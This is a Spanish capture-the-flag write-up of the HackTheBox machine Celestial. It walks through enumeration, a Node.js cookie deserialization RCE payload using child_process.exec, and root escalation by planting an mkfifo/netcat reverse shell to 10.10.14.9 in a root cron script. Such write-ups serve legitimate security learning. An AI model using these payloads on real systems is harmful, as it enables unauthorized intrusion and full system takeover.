writeups · 2 min de lectura
WriteUp - Celestial (HackTheBox)
Write-up de Celestial (HackTheBox). Máquina Linux de nivel bajo que explota una deserialización insegura de cookies en Node.js (CVE-2017-16137) para obtener RCE, luego escalada a root abusando de un cron job que ejecuta un script editable.
· Manuel López Pérez · writeups

En este post haremos la máquina Celestial de HackTheBox.Es una maquina Linux de un nivel bajo Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.10.10.85
Tenemos un servicio http en el puerto 3000, vamos a revisarlo:

Vamos a interceptar la request con BurpSuite:
Como veis, la Cookie Profile parece ser un Base 64, nos ayudaremos del Decoder de BurpSuite: 
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}Si modificamos el valor del campo ‘num’ por, por ejemplo, 4 y volvemos a encodear, vemos que la respuesta sera: Hey Dummy 4 + 4 is 44
En cambio si modficamos erróneamente la cookie, obtendremos algo mas de información: 
Explotación
Busquemos vulnerabilidades sobre las cookies en node.js
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ Siguiendo la guía, podremos obtener RCE con este valor de la cookie:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\\n \\t require('child_process').exec('ping -c 10.10.14.16 /',function(error, stdout, stderr) { console.log(stdout) });\\n }()"}
Y con ayuda del Reverse Shell Cheat-Sheet podremos obtener reverse shell facilmente: 
Post-Explotación
Como veis, el usuario con el que obtenemos shell forma parte de algunos grupos interesantes:
Aprovechando que formamos parte del grupo adm, podremos leer los logs del sistema: 
cat /var/log/syslog
En este fichero vemos que cada 5 minutos se ejecuta como root el fichero /home/sun/Documents/script.py El siguiente paso será editar dicho fichero con una reverse shell:
#!/usr/bin/env python
import os
import sys
try: os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 7777 >/tmp/f')
except: sys.exit()

